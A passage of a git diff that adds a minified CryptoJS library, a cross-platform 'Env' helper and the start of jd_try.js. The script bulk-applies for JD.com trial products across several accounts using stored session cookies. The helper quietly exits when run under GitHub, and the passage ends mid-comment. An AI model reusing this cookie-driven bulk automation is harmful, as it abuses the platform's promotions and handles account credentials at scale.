r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date(new Date().getTime()+new Date().getTimezoneOffset()*60*1000+8*60*60*1000);let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + diff --git a/jd_try.js b/jd_try.js new file mode 100644 index 0000000..e862d09 --- /dev/null +++ b/jd_try.js @@ -0,0 +1,1243 @@ +/* + * 如需运行请自行添加环境变量:JD_TRY,值填 true 即可运行 + * 脚本兼容: Node.js + * X1a0He留 + * 脚本是否耗时只看args_xh.maxLength的大小 + * 上一作者说了每天最多300个商店,总上限为500个,jd_unsubscribe.js我已更新为批量取关版 + * 请提前取关至少250个商店确保京东试用脚本正常运行 + * + * @Address: https://github.com/X1a0He/jd_scripts_fixed/blob/main/jd_try_xh.js + * @LastEditors: X1a0He + 参考环境变量配置如下: +export JD_TRY="true" +export JD_TRY_PLOG="true" #是否打印输出到日志 +export JD_TRY_PASSZC="true" #过滤种草官类试用 +export JD_TRY_MAXLENGTH="50" #商品数组的最大长度 +export JD_TRY_APPLYINTERVAL="5000" #商品试用之间和获取商品之间的间隔 +export JD_TRY_APPLYNUMFILTER="100000" #过滤大于设定值的已申请人数 +export JD_TRY_MINSUPPLYNUM="1" #最小提供数量 +export JD_TRY_SENDNUM="10" #每隔多少账号发送一次通知,不需要可以不用设置 +export JD_TRY_UNIFIED="false" 默认采用不同试用组 +cron "4 1-22/8 * * *" jd_try.js, tag:京东试用 + + */ +const $ = new Env('京东试用') +const URL = 'https://api.m.jd.com/client.action' +let trialActivityIdList = [] +let trialActivityTitleList = [] +let notifyMsg = '' +let size = 1; +$.isPush = true; +$.isLimit = false; +$.isForbidden = false; +$.wrong = false; +$.giveupNum = 0; +$.successNum = 0; +$.completeNum = 0; +$.getNum = 0; +$.try = true; +$.sentNum = 0; +$.cookiesArr = [] +$.innerKeyWords = + [ + "幼儿园", "教程", "英语", "辅导", "培训", + "孩子", "小学", "成人用品", "套套", "情趣", + "自慰", "阳具", "飞机杯", "男士用品", "女士用品", + "内衣", "高潮", "避孕", "乳腺", "肛塞", "肛门", + "宝宝", "玩具", "芭比", "娃娃", "男用", + "女用", "神油", "足力健", "老年", "老人", + "宠物", "饲料", "丝袜", "黑丝", "磨脚", + "脚皮", "除臭", "性感", "内裤", "跳蛋", + "安全套", "龟头", "阴道", "阴部", "手机卡", + "流量卡", "和田玉", "钢化膜", "手机壳","习题","试卷" + ] +//下面很重要,遇到问题请把下面注释看一遍再来问 +let args_xh = { + /* + * 控制是否输出当前环境变量设置,默认为false + * 环境变量名称:XH_TRY_ENV + */ + env: process.env.XH_TRY_ENV === 'true' || false, + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_TRY_EXCEPT + */ + except: process.env.XH_TRY_EXCEPT && process.env.XH_TRY_EXCEPT.split('@') || [], + //以上环境变量新增于2022.01.30 + /* + * 每个Tab页要便遍历的申请页数,由于京东试用又改了,获取不到每一个Tab页的总页数了(显示null),所以特定增加一个环境变了以控制申请页数 + * 例如设置 JD_TRY_PRICE 为 30,假如现在正在遍历tab1,那tab1就会被遍历到30页,到31页就会跳到tab2,或下一个预设的tab页继续遍历到30页 + * 默认为20 + */ + totalPages: process.env.JD_TRY_TOTALPAGES * 1 || 20, + /* + * 由于每个账号每次获取的试用产品都不一样,所以为了保证每个账号都能试用到不同的商品,之前的脚本都不支持采用统一试用组的 + * 以下环境变量是用于指定是否采用统一试用组的 + * 例如当 